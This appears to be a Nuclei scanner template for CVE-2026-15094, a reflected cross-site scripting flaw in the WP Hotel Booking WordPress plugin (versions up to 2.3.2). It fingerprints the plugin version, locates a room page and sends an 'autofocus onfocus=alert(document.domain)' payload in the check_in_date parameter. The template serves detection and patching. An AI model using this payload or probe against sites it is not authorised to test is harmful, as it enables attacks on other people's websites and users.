WP Hotel Booking <= 2.3.2 - Cross-Site Scripting

id: CVE-2026-15094

info:
  name: WP Hotel Booking <= 2.3.2 - Cross-Site Scripting
  author: SmigsBellamigs
  severity: medium
  description: |
    The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  impact: |
    Successful exploitation requires user interaction, but allows unauthenticated attackers to inject arbitrary JavaScript in the context of the victim's session, enabling session hijacking, phishing, or defacement.
  remediation: |
    Update the WP Hotel Booking plugin to version 2.3.3 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8139f512-7bc9-45ae-83d7-bf496e1ad56d
    - https://wpscan.com/vulnerability/0e1602c9-8cf9-47b2-92bb-3ffd93dbe6f5
    - https://plugins.trac.wordpress.org/browser/wp-hotel-booking/tags/2.3.2/includes/TemplateHooks/ArchiveRoomTemplate.php#L262
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-15094
    cwe-id: CWE-79
    epss-score: 0.00686
    epss-percentile: 0.49998
  metadata:
    verified: true
    max-request: 3
    vendor: thimpress
    product: wp-hotel-booking
    fofa-query: body="/wp-content/plugins/wp-hotel-booking/"
    publicwww-query: "/wp-content/plugins/wp-hotel-booking/"
    tags: cve,cve2026,wordpress,wp-plugin,wp-hotel-booking,xss,unauth

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-hotel-booking/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP Hotel Booking")'
          - 'compare_versions(version, "<= 2.3.2")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        group: 1
        internal: true
        regex:
          - 'Stable tag: ([\d.]+)'

  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=100 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "container room-container"
        internal: true

    extractors:
      - type: json
        name: room_path
        internal: true
        json:
          - 'first(.[] | select(.content.rendered | contains("container room-container")) | .link)'

  - raw:
      - |
        GET {{room_path}}?check_in_date=%22autofocus%20onfocus%3D%22alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""autofocus onfocus="alert(document.domain)'
          - 'hb_input_date_check'
        condition: and
# digest: 4a0a0047304502210088c1d429f89d5ef1b2aea8f3841df2aa82b3f9ffdb41cc7f21b4c3aabfb5b51002205e09bc6bcea835d69f228c5add92dcab526ea561563170402299f1bdb937da4c:922c64590222798bb761d5b6d8e72950